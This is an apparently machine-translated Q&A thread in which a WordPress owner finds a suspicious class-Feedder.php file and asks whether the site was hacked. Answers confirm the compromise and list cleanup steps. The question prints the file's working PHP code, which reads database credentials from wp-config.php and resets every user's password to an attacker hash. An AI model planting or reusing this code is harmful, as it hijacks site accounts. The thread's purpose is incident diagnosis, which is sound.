文件奇怪地添加到我的wordpress include文件夹

Question

我非常担心一个文件正在被添加和访问，它在我的cpanel中说

我发现在include文件夹中添加了这个class-Feedder.php，并且其中有一小段代码

<?php
    include_once '../wp-config.php';
    $con=mysql_connect('localhost',DB_USER,DB_PASSWORD) or die(mysql_error());
    mysql_select_db(DB_NAME,$con) or die(mysql_error());
    $sql="Update wp_users set user_pass='$"."P"."$"."Bs4sdfEreymQasdfwMzJaasdfasdf4dj20'";
    mysql_query($sql,$con) or die(mysql_error());
?>

我是否被黑客攻击了，因为我上传文件夹中的所有图片都是空的，请帮助我

Answer 1

是的，你被黑了。请仔细遵循WordPress.org Codex中的FAQ - My Site Was Hacked，其中包括更改所有密码、检查数据库中的eval代码、替换所有核心WordPress文件和文件夹、评估the主机的安全性、强化WordPress等。

Answer 2

看起来这个文件正在更新每个密码以使用这个散列Bs4sdfEreymQasdfwMzJaasdfasdf4dj20，这意味着是的，你的帐户(在wordpress上)被攻破了。

Answer 3

是的，你是黑客，只要删除这个奇怪的文件，并尽快更改您的可湿性粉剂后端，FTP和cpanel凭证。

通常黑客也会留下一些后门，以便再次获得网站的访问权限，所以也要在您的worpress文件中查找或搜索eval，并找出是否有其他奇怪的文件存在。